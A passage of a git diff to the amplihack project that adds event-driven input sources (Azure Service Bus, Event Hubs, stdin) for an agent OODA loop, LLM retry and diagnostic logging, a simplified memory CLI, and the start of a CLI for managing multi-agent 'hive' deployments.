only the shared hive.""" + return self._hive.query_hive(self._agent_id, query, limit=limit) + + +def _extract_concept(content: str) -> str: + """Extract a simple concept from content text (first few significant words).""" + words = [w for w in content.split() if len(w) > 3] + return " ".join(words[:3]) if words else "general" + + +def _fact_to_dict(fact: HiveFact) -> dict[str, Any]: + """Convert a HiveFact to the dict format eval scripts expect.""" + return { + "fact_id": fact.fact_id, + "concept": fact.concept, + "content": fact.content, + "confidence": fact.confidence, + "source_agent": fact.source_agent, + "tags": list(fact.tags), + "status": fact.status, + } diff --git a/src/amplihack/agents/goal_seeking/input_source.py b/src/amplihack/agents/goal_seeking/input_source.py new file mode 100644 index 000000000..935309252 --- /dev/null +++ b/src/amplihack/agents/goal_seeking/input_source.py @@ -0,0 +1,521 @@ +"""InputSource — event-driven input abstraction for the OODA loop. + +Design principle: from the agent OODA loop perspective, messages arriving +from Event Hubs should be NO DIFFERENT from messages the single agent +receives as prompts. Same inner loop, different implementations behind +the interface, selected by config. + +Protocol: + next() -> str | None — block until input is available, return it. + Returns None to signal end-of-input (shut down). + close() -> None — release resources. + +Implementations: + ListInputSource — wraps a list of strings (single-agent eval). + EventHubsInputSource — wraps Azure Event Hubs with per-agent consumer group. + ServiceBusInputSource — wraps Azure Service Bus (legacy; kept for compat). + StdinInputSource — reads lines from stdin (interactive use). +""" + +from __future__ import annotations + +import json +import logging +import sys +import threading +from typing import Protocol, runtime_checkable + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Protocol +# --------------------------------------------------------------------------- + + +@runtime_checkable +class InputSource(Protocol): + """Blocking input source for the OODA loop. + + next() must block until a message is available and return it as a plain + string, or return None to signal end-of-input. The OODA loop exits + when next() returns None. + """ + + def next(self) -> str | None: + """Return the next input string, blocking until one is available. + + Returns: + Input text string, or None when the source is exhausted / closed. + """ + ... + + def close(self) -> None: + """Release any held resources (connections, file handles, threads).""" + ... + + +# --------------------------------------------------------------------------- +# ListInputSource +# --------------------------------------------------------------------------- + + +class ListInputSource: + """InputSource backed by a list of pre-loaded strings. + + Designed for single-agent eval paths where all dialogue turns are known + upfront. next() returns items immediately — no blocking, no sleeping. + + Args: + turns: Sequence of input strings to iterate through. + + Example: + >>> src = ListInputSource(["What is 2+2?", "Explain black holes."]) + >>> src.next() + 'What is 2+2?' + >>> src.next() + 'Explain black holes.' + >>> src.next() is None + True + """ + + def __init__(self, turns: list[str]) -> None: + self._turns = list(turns) + self._index = 0 + self._closed = False + + def next(self) -> str | None: + """Return the next turn, or None when the list is exhausted.""" + if self._closed or self._index >= len(self._turns): + return None + item = self._turns[self._index] + self._index += 1 + return item + + def close(self) -> None: + """Mark as closed; subsequent next() calls return None.""" + self._closed = True + + def __len__(self) -> int: + return len(self._turns) + + def remaining(self) -> int: + """Return number of turns not yet consumed.""" + return max(0, len(self._turns) - self._index) + + +# --------------------------------------------------------------------------- +# ServiceBusInputSource +# --------------------------------------------------------------------------- + + +def _extract_text_from_bus_event(event_type: str | None, payload: dict) -> str | None: + """Extract a plain input string from a BusEvent payload. + + Returns None for lifecycle events that should not enter the OODA loop. + """ + if event_type in ("AGENT_READY", "QUERY_RESPONSE", "network_graph.search_response"): + return None # lifecycle / infrastructure — skip + + if event_type == "FEED_COMPLETE": + total = payload.get("total_turns", "?") + return f"__FEED_COMPLETE__:{total}" + + if event_type == "LEARN_CONTENT": + return payload.get("content") or None + + if event_type in ("QUERY", "INPUT", "network_graph.search_query"): + return payload.get("question") or payload.get("text") or payload.get("content") or None + + # Generic fallback + for key in ("content", "text", "question", "message", "data"): + val = payload.get(key, "") + if val and isinstance(val, str): + return val + + return None + + +class ServiceBusInputSource: + """InputSource backed by an Azure Service Bus subscription. + + Uses a blocking receive so the OODA loop wakes immediately on message + arrival instead of sleeping for a fixed interval. + + The subscription name must equal ``agent_name`` (as provisioned by + ``deploy.sh`` / ``main.bicep``). + + Args: + connection_string: Azure Service Bus connection string. + agent_name: Subscription name (== agent identifier). + topic_name: Service Bus topic name (default: ``"hive-events"``). + max_wait_time: Seconds to block waiting for a message per + receive call (default: 60). A shorter value makes shutdown + more responsive. + shutdown_event: Optional threading.Event; when set, next() returns + None on the next receive timeout. + + Example: + >>> src = ServiceBusInputSource(conn_str, "agent-0") + >>> while (text := src.next()) is not None: + ... agent.process(text) + >>> src.close() + """ + + def __init__( + self, + connection_string: str, + agent_name: str, + topic_name: str = "hive-events", + max_wait_time: int = 300, + shutdown_event: threading.Event | None = None, + ) -> None: + try: + from azure.servicebus import ServiceBusClient + except ImportError as exc: + raise ImportError( + "azure-servicebus is required for ServiceBusInputSource. " + "Install with: pip install azure-servicebus" + ) from exc + + self._agent_name = agent_name + self._topic_name = topic_name + self._max_wait_time = max_wait_time + self._last_event_metadata: dict[str, str] = {} + self._shutdown = shutdown_event or threading.Event() + self._closed = False + + self._client = ServiceBusClient.from_connection_string(connection_string) + self._receiver = self._client.get_subscription_receiver( + topic_name=topic_name, + subscription_name=agent_name, + ) + logger.info( + "ServiceBusInputSource: connected to topic=%s subscription=%s", + topic_name, + agent_name, + ) + + def next(self) -> str | None: + """Block until a message arrives and return its text. + + Returns None when the source is closed or the shutdown event is set. + FEED_COMPLETE is represented as the sentinel ``"__FEED_COMPLETE__:"``. + Lifecycle-only events (AGENT_READY, QUERY_RESPONSE, etc.) are silently + skipped and the call blocks until the next content message. + """ + if self._closed or self._shutdown.is_set(): + return None + + while not self._closed and not self._shutdown.is_set(): + try: + messages = self._receiver.receive_messages( + max_message_count=20, + max_wait_time=self._max_wait_time, + ) + except Exception: + if self._closed: + return None + logger.debug("ServiceBusInputSource: receive error", exc_info=True) + continue + + if not messages: + continue + + for msg in messages: + try: + body = str(msg) + raw = json.loads(body) + event_type = raw.get("event_type") + payload = raw.get("payload", {}) + # Skip messages targeted at a different agent + target = raw.get("target_agent", "") or payload.get("target_agent", "") + if target and target != self._agent_name: + self._receiver.complete_message(msg) + continue + + text = _extract_text_from_bus_event(event_type, payload) + self._receiver.complete_message(msg) + if text is not None: + # Only update metadata for messages we actually return + self._last_event_metadata = { + "event_id": raw.get("event_id", ""), + "event_type": event_type or "", + "question_id": payload.get("question_id", ""), + } + logger.debug( + "ServiceBusInputSource: event_type=%s len=%d", + event_type, + len(text), + ) + return text + logger.debug( + "ServiceBusInputSource: skipping lifecycle event_type=%s", + event_type, + ) + except Exception: + logger.warning( + "ServiceBusInputSource: failed to parse message, dead-lettering", + exc_info=True, + ) + try: + self._receiver.dead_letter_message(msg, reason="parse_error") + except Exception: + logger.debug("dead-letter failed", exc_info=True) + + return None + + @property + def last_event_metadata(self) -> dict[str, str]: + """Metadata from the most recently received message (event_id, event_type, question_id).""" + return self._last_event_metadata + + def signal_shutdown(self) -> None: + """Signal the source to stop on the next receive timeout.""" + self._shutdown.set() + + def close(self) -> None: + """Close the Service Bus receiver and client.""" + self._closed = True + self._shutdown.set() + try: + self._receiver.close() + except Exception: + logger.debug("ServiceBusInputSource: error closing receiver", exc_info=True) + try: + self._client.close() + except Exception: + logger.debug("ServiceBusInputSource: error closing client", exc_info=True) + logger.info("ServiceBusInputSource: closed (agent=%s)", self._agent_name) + + +# --------------------------------------------------------------------------- +# EventHubsInputSource +# --------------------------------------------------------------------------- + + +class EventHubsInputSource: + """InputSource backed by an Azure Event Hubs consumer group. + + Receives messages from the ``hive-events-{hiveName}`` Event Hub using a + dedicated per-agent consumer group (``cg-{agent_name}``). Each message is + filtered by ``target_agent`` so the agent only processes its own messages. + + CBS-free AMQP transport — no Service Bus auth failures in Container Apps. + + Args: + connection_string: Azure Event Hubs namespace connection string. + agent_name: This agent's identifier; also used to derive the consumer + group name as ``cg-{agent_name}``. + eventhub_name: Event Hub name (default: ``"hive-events"``). + consumer_group: Consumer group override (default: ``cg-{agent_name}``). + max_wait_time: Seconds to block waiting per receive call (default: 60). + shutdown_event: Optional threading.Event; when set, next() returns None. + + Example: + >>> src = EventHubsInputSource(conn_str, "agent-0", "hive-events-myhive") + >>> while (text := src.next()) is not None: + ... agent.process(text) + >>> src.close() + """ + + def __init__( + self, + connection_string: str, + agent_name: str, + eventhub_name: str = "hive-events", + consumer_group: str | None = None, + max_wait_time: int = 60, + shutdown_event: threading.Event | None = None, + starting_position: str = "-1", + ) -> None: + try: + from azure.eventhub import EventHubConsumerClient # type: ignore[import-unresolved] + except ImportError as exc: + raise ImportError( + "azure-eventhub is required for EventHubsInputSource. " + "Install with: pip install azure-eventhub" + ) from exc + + self._agent_name = agent_name + self._eventhub_name = eventhub_name + self._consumer_group = consumer_group or f"cg-{agent_name}" + self._max_wait_time = max_wait_time + self._starting_position = starting_position + self._last_event_metadata: dict[str, str] = {} + self._shutdown = shutdown_event or threading.Event() + self._closed = False + + import queue as _queue + + self._queue: _queue.Queue = _queue.Queue() + + self._consumer = EventHubConsumerClient.from_connection_string( + connection_string, + consumer_group=self._consumer_group, + eventhub_name=eventhub_name, + ) + + self._recv_thread = threading.Thread( + target=self._receive_loop, + daemon=True, + name=f"eh-input-{agent_name}", + ) + self._recv_thread.start() + + logger.info( + "EventHubsInputSource: connected to hub=%s consumer_group=%s", + eventhub_name, + self._consumer_group, + ) + + def _receive_loop(self) -> None: + """Background thread: receive EH events and enqueue parsed text.""" + import json as _json + + def _on_event(partition_context, event) -> None: + if event is None or self._shutdown.is_set() or self._closed: + return + try: + raw = _json.loads(event.body_as_str()) + event_type = raw.get("event_type") + payload = raw.get("payload", {}) + target = raw.get("target_agent", "") or payload.get("target_agent", "") + if target and target != self._agent_name: + partition_context.update_checkpoint(event) + return + + text = _extract_text_from_bus_event(event_type, payload) + if text is not None: + metadata = { + "event_id": raw.get("event_id", ""), + "event_type": event_type or "", + "question_id": payload.get("question_id", ""), + "run_id": raw.get("run_id", ""), + } + self._queue.put((text, metadata)) + logger.debug( + "EventHubsInputSource: enqueued event_type=%s len=%d", + event_type, + len(text), + ) + else: + logger.debug( + "EventHubsInputSource: skipping lifecycle event_type=%s", + event_type, + ) + partition_context.update_checkpoint(event) + except Exception: + logger.debug("EventHubsInputSource: parse error", exc_info=True) + + try: + self._consumer.receive( + on_event=_on_event, + starting_position=self._starting_position, + ) + except Exception: + if not self._closed and not self._shutdown.is_set(): + logger.warning("EventHubsInputSource: receive loop exited", exc_info=True) + finally: + self._queue.put((None, {})) + + def next(self) -> str | None: + """Block until a message arrives and return its text. + + Returns None when the source is closed or the shutdown event is set. + FEED_COMPLETE is represented as the sentinel ``"__FEED_COMPLETE__:"``. + """ + import queue as _queue + + if self._closed or self._shutdown.is_set(): + return None + + while not self._closed and not self._shutdown.is_set(): + try: + item = self._queue.get(timeout=self._max_wait_time) + text, metadata = item + if text is None: + return None + self._last_event_metadata = metadata + return text + except _queue.Empty: + continue + + return None + + @property + def last_event_metadata(self) -> dict[str, str]: + """Metadata from the most recently received message.""" + return self._last_event_metadata + + def signal_shutdown(self) -> None: + """Signal the source to stop.""" + self._shutdown.set() + + def close(self) -> None: + """Close the Event Hubs consumer.""" + self._closed = True + self._shutdown.set() + try: + self._consumer.close() + except Exception: + logger.debug("EventHubsInputSource: error closing consumer", exc_info=True) + self._queue.put((None, {})) + logger.info("EventHubsInputSource: closed (agent=%s)", self._agent_name) + + +# --------------------------------------------------------------------------- +# StdinInputSource +# --------------------------------------------------------------------------- + + +class StdinInputSource: + """InputSource that reads lines from stdin. + + Intended for interactive use and local testing. Each non-empty line + becomes one input turn. EOF (Ctrl-D) or a blank line signals end. + + Args: + prompt: Optional prompt string printed before each read. + eof_on_empty: If True (default), an empty line signals end-of-input. + + Example: + >>> src = StdinInputSource(prompt="> ") + >>> text = src.next() # reads one line from stdin + """ + + def __init__( + self, + prompt: str = "", + eof_on_empty: bool = True, + stream=None, + ) -> None: + self._prompt = prompt + self._eof_on_empty = eof_on_empty + self._stream = stream or sys.stdin + self._closed = False + + def next(self) -> str | None: + """Read and return the next non-empty line from stdin. + + Returns None on EOF or empty input (when eof_on_empty is True). + """ + if self._closed: + return None + try: + if self._prompt: + print(self._prompt, end="", flush=True) + line = self._stream.readline() + except (EOFError, OSError): + return None + + if not line: # EOF + return None + stripped = line.rstrip("\n") + if self._eof_on_empty and not stripped: + return None + return stripped + + def close(self) -> None: + """Mark as closed; subsequent next() calls return None.""" + self._closed = True diff --git a/src/amplihack/agents/goal_seeking/learning_agent.py b/src/amplihack/agents/goal_seeking/learning_agent.py index f309cbb2f..674d4b465 100644 --- a/src/amplihack/agents/goal_seeking/learning_agent.py +++ b/src/amplihack/agents/goal_seeking/learning_agent.py @@ -18,6 +18,7 @@ import os import re import threading +import time from pathlib import Path from typing import Any @@ -188,6 +189,39 @@ def __init__( # evaluation so all threads use the same consistent fact snapshot. self._pre_snapshot_facts: list[dict[str, Any]] | None = None + def _llm_completion_with_retry( + self, messages: list, temperature: float = 0.0, max_retries: int = 5 + ) -> str: + """Call litellm.completion with exponential backoff on rate limits. + + Returns the response text content. Raises on non-rate-limit errors. + """ + last_exception: Exception | None = None + for _retry_attempt in range(max_retries + 1): # attempt 0 = first try + try: + response = litellm.completion( + model=self.model, + messages=messages, + temperature=temperature, + ) + return response.choices[0].message.content + except Exception as exc: + is_rate_limit = ( + isinstance(exc, litellm.RateLimitError) or "rate_limit" in str(exc).lower() + ) + if not is_rate_limit or _retry_attempt >= max_retries: + raise + delay = 2**_retry_attempt * 2 # 2, 4, 8, 16, 32 + logger.warning( + "Rate limited, retrying in %ds (attempt %d/%d)", + delay, + _retry_attempt, + max_retries, + ) + time.sleep(delay) + last_exception = exc + raise last_exception # type: ignore[misc] + @staticmethod def _load_variant_prompt(variant_num: int) -> str: """Load a prompt variant from the variants directory. @@ -274,6 +308,9 @@ def learn_from_content(self, content: str) -> dict[str, Any]: if not source_label: source_label = content[:60].strip() + # OBSERVE: store content in OODA loop, check prior knowledge + self.loop.observe(content[:500]) + # In hierarchical mode, store episode first for provenance tracking episode_id = "" if self.use_hierarchical and hasattr(self.memory, "store_episode"): @@ -285,7 +322,7 @@ def learn_from_content(self, content: str) -> dict[str, Any]: except Exception as e: logger.warning("Failed to store episode for provenance: %s", e) - # Use LLM to extract facts (pass temporal metadata for conditional hints) + # ACT: Use LLM to extract facts (pass temporal metadata for conditional hints) facts = self._extract_facts_with_llm(content, temporal_meta) # Store each fact @@ -323,13 +360,21 @@ def learn_from_content(self, content: str) -> dict[str, Any]: self.memory.store_fact(**store_kwargs) stored_count += 1 except Exception as e: - logger.debug("Failed to store fact: %s", e) + logger.warning("Failed to store fact: %s", e) continue # Generate and store a summary concept map for knowledge organization if facts and stored_count > 0: self._store_summary_concept_map(content, facts, episode_id) + # LEARN: record the learning episode via the OODA loop + self.loop.learn( + perception=content[:500], + reasoning="Extracted facts from content", + action={"action": "learn", "params": {"stored": stored_count}}, + outcome=f"Extracted {len(facts)} facts, stored {stored_count}", + ) + return { "facts_extracted": len(facts), "facts_stored": stored_count, @@ -402,16 +447,13 @@ def _detect_temporal_metadata(self, content: str) -> dict[str, Any]: """ prompt = _load_prompt("temporal_detection_user", content=content[:500]) try: - response = litellm.completion( - model=self.model, + response_text = self._llm_completion_with_retry( messages=[ {"role": "system", "content": load_prompt("temporal_detection_system")}, {"role": "user", "content": prompt}, ], temperature=0.0, - ) - - response_text = response.choices[0].message.content.strip() + ).strip() # Parse JSON response try: @@ -455,7 +497,6 @@ def _detect_temporal_metadata(self, content: str) -> dict[str, Any]: "contradiction_resolution", "multi_source_synthesis", "causal_counterfactual", - "mathematical_computation", } # Aggregation intents: routed to Cypher graph queries instead of text search @@ -511,7 +552,11 @@ def answer_question( if not question or not question.strip(): return "Error: Question is empty" - # Step 1: Intent detection -- single LLM call to classify the question + # ── OODA: OBSERVE ──────────────────────────────────────────────────── + # Ingest the question and recall any prior answers from Memory facade. + self.loop.observe(question) + + # Step 1 / OODA ORIENT (start): Intent detection -- single LLM call intent = self._detect_intent(question) intent_type = intent.get("intent", "simple_recall") @@ -568,7 +613,7 @@ def answer_question( else: cached = getattr(self._thread_local, "_cached_all_facts", None) if cached is None: - cached = self.memory.get_all_facts(limit=15000) + cached = self.memory.get_all_facts(limit=15000, query=question) self._thread_local._cached_all_facts = cached kb_size = len(cached) if kb_size <= 500: @@ -657,7 +702,11 @@ def answer_question( # a large KB. Only filter out DB-stored SUMMARY nodes (context == "SUMMARY") # which are different from tiered retrieval summaries. if intent_type == "meta_memory": - relevant_facts = [f for f in relevant_facts if f.get("context", "") != "SUMMARY"] + relevant_facts = [ + f + for f in relevant_facts + if f.get("context", "") != "SUMMARY" and "summary" not in (f.get("tags") or []) + ] # Always rerank by query relevance first to prioritize the most relevant facts. # For large fact sets (>80), this ensures we trim noise, not signal. @@ -734,7 +783,20 @@ def temporal_sort_key(fact): except Exception as e: logger.warning("Temporal code generation failed: %s", e) - # Step 3: Synthesize answer with intent-aware prompting + # ── OODA: DECIDE ───────────────────────────────────────────────────── + # Diagnostic: log retrieval result counts before synthesis + logger.info( + "RETRIEVAL_DIAG question=%.80s intent=%s facts_count=%d use_simple=%s", + question, + intent_type, + len(relevant_facts), + "true" + if intent_type in self.SIMPLE_INTENTS + or (not use_simple if "use_simple" in dir() else True) + else "false", + ) + + # Synthesize answer from the oriented world model (relevant_facts). answer = self._synthesize_with_llm( question=question, context=relevant_facts, @@ -757,7 +819,8 @@ def temporal_sort_key(fact): total_facts_collected=len(relevant_facts), ) - # Store the question-answer pair as a learning (truncate to fit). + # ── OODA: ACT ──────────────────────────────────────────────────────── + # Return the answer and remember the Q&A pair for future recall. # Solution B: Skip Q&A store when called from answer_question_agentic # to reduce concurrent DB writes during parallel evaluation. The agentic # caller will store its own final answer after refinement if needed. @@ -768,6 +831,8 @@ def temporal_sort_key(fact): confidence=0.7, tags=["q_and_a", question_level.lower()], ) + # Also remember via OODA loop for Memory facade integration + self.loop.observe(f"Q: {question[:200]} A: {answer[:300]}") if return_trace: return answer, reasoning_trace @@ -1017,7 +1082,7 @@ def _simple_retrieval( all_facts = cached self._thread_local._cached_all_facts = None # consume; one-shot per question else: - all_facts = self.memory.get_all_facts(limit=15000) + all_facts = self.memory.get_all_facts(limit=15000, query=question) kb_size = len(all_facts) if force_verbatim or kb_size <= 1000: @@ -2084,8 +2149,7 @@ def _extract_facts_with_llm( ) try: - response = litellm.completion( - model=self.model, + response_text = self._llm_completion_with_retry( messages=[ {"role": "system", "content": load_prompt("fact_extraction_system")}, {"role": "user", "content": prompt}, @@ -2093,8 +2157,6 @@ def _extract_facts_with_llm( temperature=0.3, ) - response_text = response.choices[0].message.content - # Parse JSON try: facts = json.loads(response_text) @@ -2650,6 +2712,31 @@ def _format_fact(i: int, fact: dict, include_temporal: bool) -> str: "Label each. Show each arithmetic step. Double-check result.\n" ) + # Diagnostic logging: surface what the LLM will see for debugging + # retrieval quality issues (e.g., needle_in_haystack failures). + _q_words = [w.lower().strip("?.,!") for w in question.split() if len(w) > 2] + _needle_matches = [ + f + for f in context[:max_facts] + if any(w in f.get("outcome", "").lower() for w in _q_words) + or any(w in f.get("context", "").lower() for w in _q_words) + ] + logger.info( + "SYNTH_DIAG question=%.80s total_facts=%d matching_facts=%d first_3_contexts=%s", + question, + len(context[:max_facts]), + len(_needle_matches), + [f.get("context", "")[:60] for f in context[: min(3, len(context))]], + ) + if _needle_matches: + logger.info( + "SYNTH_DIAG needle_hits: %s", + [ + (f.get("context", "")[:40], f.get("outcome", "")[:80]) + for f in _needle_matches[:5] + ], + ) + prompt = _load_prompt( "synthesis_user", question=question, @@ -2670,8 +2757,7 @@ def _format_fact(i: int, fact: dict, include_temporal: bool) -> str: ) try: - response = litellm.completion( - model=self.model, + return self._llm_completion_with_retry( messages=[ { "role": "system", @@ -2679,10 +2765,8 @@ def _format_fact(i: int, fact: dict, include_temporal: bool) -> str: }, {"role": "user", "content": prompt}, ], - temperature=0.3, # Lower temperature for more precise reasoning - ) - - return response.choices[0].message.content.strip() + temperature=0.3, + ).strip() except Exception as e: logger.error("LLM synthesis failed: %s", e) diff --git a/src/amplihack/agents/goal_seeking/sdk_adapters/base.py b/src/amplihack/agents/goal_seeking/sdk_adapters/base.py index 3d8d6ced5..8c8c54de8 100644 --- a/src/amplihack/agents/goal_seeking/sdk_adapters/base.py +++ b/src/amplihack/agents/goal_seeking/sdk_adapters/base.py @@ -323,6 +323,10 @@ def _tool_learn(self, content: str) -> dict[str, Any]: return {"error": "Content cannot be empty"} content = content[:50_000] + # Require memory to be initialized before attempting to learn + if not self.memory: + return {"error": "Memory not initialized"} + # Use LearningAgent for proper LLM-based fact extraction la = self._get_learning_agent() if la: diff --git a/src/amplihack/cli.py b/src/amplihack/cli.py index 8870c4109..23ef259bc 100644 --- a/src/amplihack/cli.py +++ b/src/amplihack/cli.py @@ -1603,29 +1603,11 @@ def main(argv: list[str] | None = None) -> int: from .memory.cli_visualize import visualize_memory_tree from .memory.models import MemoryType - # Select backend - if args.backend == "kuzu": - try: - import asyncio - - from .memory.backends.kuzu_backend import KuzuBackend - - backend = KuzuBackend() - asyncio.run(backend.initialize()) - except ImportError: - print( - "Error: Kùzu backend not available. Kuzu should be installed automatically with amplihack." - ) - print("Fallin' back to SQLite backend...") - from .memory.database import MemoryDatabase - - backend = MemoryDatabase() - backend.initialize() - else: - from .memory.database import MemoryDatabase + # Select backend (SQLite only; use KuzuGraphStore for graph storage) + from .memory.database import MemoryDatabase - backend = MemoryDatabase() - backend.initialize() + backend = MemoryDatabase() + backend.initialize() # Convert type string to enum if provided memory_type = None @@ -1702,40 +1684,8 @@ def main(argv: list[str] | None = None) -> int: return 1 if args.memory_command == "clean": - from .memory.cli_cleanup import cleanup_memory_sessions - - # Select backend - if args.backend == "kuzu": - try: - import asyncio - - from .memory.backends.kuzu_backend import KuzuBackend - - backend = KuzuBackend() - asyncio.run(backend.initialize()) - except ImportError: - print("Error: Kùzu backend not available. Install with: pip install amplihack") - return 1 - else: - from .memory.database import MemoryDatabase - - backend = MemoryDatabase() - backend.initialize() - - # Run cleanup - result = cleanup_memory_sessions( - backend=backend, - pattern=args.pattern, - dry_run=not args.no_dry_run, - confirm=args.confirm, - ) - - # Cleanup backend - if hasattr(backend, "close"): - backend.close() - - # Return non-zero if there were errors - return 1 if result["errors"] > 0 else 0 + print("The 'memory clean' command has been removed. Use the database directly to clean up sessions.") + return 1 create_parser().print_help() return 1 diff --git a/src/amplihack/cli/__init__.py b/src/amplihack/cli/__init__.py new file mode 100644 index 000000000..11e1ee06b --- /dev/null +++ b/src/amplihack/cli/__init__.py @@ -0,0 +1,23 @@ +"""CLI package for amplihack. Re-exports main from the sibling cli.py module.""" + +from __future__ import annotations + +import importlib.util +from pathlib import Path + + +def _load_cli_module(): + """Load amplihack/cli.py directly since this package shadows it.""" + cli_py = Path(__file__).parent.parent / "cli.py" + spec = importlib.util.spec_from_file_location("amplihack._cli_module", cli_py) + mod = importlib.util.module_from_spec(spec) + # Set the parent package so relative imports work + mod.__package__ = "amplihack" + spec.loader.exec_module(mod) + return mod + + +_cli = _load_cli_module() +main = _cli.main + +__all__ = ["main"] diff --git a/src/amplihack/cli/hive.py b/src/amplihack/cli/hive.py new file mode 100644 index 000000000..5d71589d5 --- /dev/null +++ b/src/amplihack/cli/hive.py @@ -0,0 +1,526 @@ +"""amplihack-hive — CLI for managing distributed hive mind deployments. + +Commands: + create Scaffold a new hive config file + add-agent Append an agent definition to an existing hive config + start Start all agents (locally as subprocesses, or on Azure) + status Show running agent PIDs and fact counts + stop Terminate all running agents + +Hive config format (~/.amplihack/hives/NAME/config.yaml): + name: my-hive + transport: azure_service_bus + connection_string: Endpoint=sb://... + storage_path: /data/hive + shard_backend: kuzu + agents: + - name: agent_0 + prompt: "You are a security analyst" + kuzu_db: /path/to/existing.db # optional + - name: agent_1 + prompt: "You are a network engineer" + +Usage: + amplihack-hive create --name my-hive --agents 3 + amplihack-hive add-agent --hive my-hive --agent-name agent_3 --prompt "You are an SRE" + amplihack-hive start --hive my-hive [--target local|azure] + amplihack-hive status --hive my-hive + amplihack-hive stop --hive my-hive +""" + +from __future__ import annotations + +import argparse +import json +import logging +import os +import signal +import subprocess +import sys +from pathlib import Path +from typing import Any + +logger = logging.getLogger(__name__) + +_HIVES_DIR = Path.home() / ".amplihack" / "hives" +_PID_FILENAME = "pids.json" + + +# --------------------------------------------------------------------------- +# Config helpers +# --------------------------------------------------------------------------- + + +def _hive_dir(name: str) -> Path: + return _HIVES_DIR / name + + +def _config_path(name: str) -> Path: + return _hive_dir(name) / "config.yaml" + + +def _pid_path(name: str) -> Path: + return _hive_dir(name) / _PID_FILENAME + + +def _load_config(name: str) -> dict[str, Any]: + """Load hive config YAML. Raises FileNotFoundError if missing.""" + path = _config_path(name) + if not path.exists(): + raise FileNotFoundError( + f"Hive '{name}' not found. Run: amplihack-hive create --name {name}" + ) + try: + import yaml # type: ignore[import-not-found] + except ImportError: + # Fallback: parse very simple YAML manually won't scale; just raise + raise ImportError("PyYAML is required. Install with: pip install pyyaml") + with path.open() as fh: + return yaml.safe_load(fh) or {} + + +def _save_config(name: str, config: dict[str, Any]) -> None: + """Save hive config to YAML file.""" + try: + import yaml # type: ignore[import-not-found] + except ImportError: + raise ImportError("PyYAML is required. Install with: pip install pyyaml") + path = _config_path(name) + path.parent.mkdir(parents=True, exist_ok=True) + with path.open("w") as fh: + yaml.safe_dump(config, fh, default_flow_style=False, sort_keys=False) + + +def _load_pids(name: str) -> dict[str, int]: + """Load saved agent PIDs.""" + pid_file = _pid_path(name) + if not pid_file.exists(): + return {} + try: + return json.loads(pid_file.read_text()) + except Exception: + return {} + + +def _save_pids(name: str, pids: dict[str, int]) -> None: + pid_file = _pid_path(name) + pid_file.write_text(json.dumps(pids, indent=2)) + + +# --------------------------------------------------------------------------- +# Command implementations +# --------------------------------------------------------------------------- + + +def cmd_create(args: argparse.Namespace) -> int: + """Create a new hive config scaffold. + + Creates ~/.amplihack/hives/NAME/config.yaml with N placeholder agents. + """ + name = args.name + n_agents = args.agents + transport = getattr(args, "transport", "local") + connection_string = getattr(args, "connection_string", "") + storage_path = getattr(args, "storage_path", f"/data/hive/{name}") + shard_backend = getattr(args, "shard_backend", "memory") + + config: dict[str, Any] = { + "name": name, + "transport": transport, + "connection_string": connection_string, + "storage_path": storage_path, + "shard_backend": shard_backend, + "agents": [ + { + "name": f"agent_{i}", + "prompt": f"You are agent {i} in the {name} hive.", + } + for i in range(n_agents) + ], + } + + if _config_path(name).exists(): + print(f"Warning: hive '{name}' already exists. Overwriting config.", file=sys.stderr) + + _save_config(name, config) + print(f"Created hive '{name}' with {n_agents} agents at {_config_path(name)}") + return 0 + + +def cmd_add_agent(args: argparse.Namespace) -> int: + """Add an agent entry to an existing hive config.""" + hive_name = args.hive + agent_name = args.agent_name + prompt = args.prompt + kuzu_db = getattr(args, "kuzu_db", None) + + config = _load_config(hive_name) + + if "agents" not in config: + config["agents"] = [] + + # Check for duplicate name + existing_names = {a.get("name") for a in config["agents"]} + if agent_name in existing_names: + print(f"Error: agent '{agent_name}' already exists in hive '{hive_name}'.", file=sys.stderr) + return 1 + + agent: dict[str, Any] = {"name": agent_name, "prompt": prompt} + if kuzu_db: + agent["kuzu_db"] = kuzu_db + + config["agents"].append(agent) + _save_config(hive_name, config) + print(f"Added agent '{agent_name}' to hive '{hive_name}'") + return 0 + + +def cmd_start(args: argparse.Namespace) -> int: + """Start agents for a hive. + + Local target: launches each agent as a subprocess using agent_entrypoint.py. + Azure target: delegates to deploy/azure_hive/deploy.sh. + """ + hive_name = args.hive + target = getattr(args, "target", "local") + + config = _load_config(hive_name) + + if target == "azure": + return _start_azure(hive_name, config, args) + + return _start_local(hive_name, config) + + +def _start_local(hive_name: str, config: dict[str, Any]) -> int: + """Launch each agent as a local subprocess.""" + agents = config.get("agents", []) + if not agents: + print(f"No agents defined in hive '{hive_name}'.", file=sys.stderr) + return 1 + + pids: dict[str, int] = _load_pids(hive_name) + transport = config.get("transport", "local") + connection_string = config.get("connection_string", "") + storage_path = config.get("storage_path", f"/tmp/amplihack-hive/{hive_name}") + + # Find agent_entrypoint.py relative to this file or installed location + entrypoint = _find_entrypoint() + + new_pids: dict[str, int] = {} + for agent in agents: + agent_name = agent.get("name", "unknown") + if agent_name in pids and _is_running(pids[agent_name]): + print(f" {agent_name}: already running (pid={pids[agent_name]})") + new_pids[agent_name] = pids[agent_name] + continue + + env = dict(os.environ) + env["AMPLIHACK_AGENT_NAME"] = agent_name + env["AMPLIHACK_AGENT_PROMPT"] = agent.get("prompt", "") + env["AMPLIHACK_MEMORY_TRANSPORT"] = transport + env["AMPLIHACK_MEMORY_CONNECTION_STRING"] = connection_string + env["AMPLIHACK_MEMORY_STORAGE_PATH"] = os.path.join(storage_path, agent_name) + if agent.get("kuzu_db"): + env["AMPLIHACK_KUZU_DB"] = agent["kuzu_db"] + + proc = subprocess.Popen( + [sys.executable, entrypoint], + env=env, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + new_pids[agent_name] = proc.pid + print(f" Started {agent_name} (pid={proc.pid})") + + _save_pids(hive_name, new_pids) + print(f"Hive '{hive_name}' started with {len(new_pids)} agents.") + return 0 + + +def _start_azure(hive_name: str, config: dict[str, Any], args: argparse.Namespace) -> int: + """Delegate Azure deployment to deploy.sh.""" + # Find deploy.sh + deploy_script = _find_deploy_script() + if deploy_script is None: + print( + "Error: deploy/azure_hive/deploy.sh not found. " + "Run from the amplihack repo root.", + file=sys.stderr, + ) + return 1 + + env = dict(os.environ) + env["HIVE_NAME"] = hive_name + env["HIVE_TRANSPORT"] = config.get("transport", "azure_service_bus") + env["HIVE_CONNECTION_STRING"] = config.get("connection_string", "") + env["HIVE_STORAGE_PATH"] = config.get("storage_path", f"/data/hive/{hive_name}") + 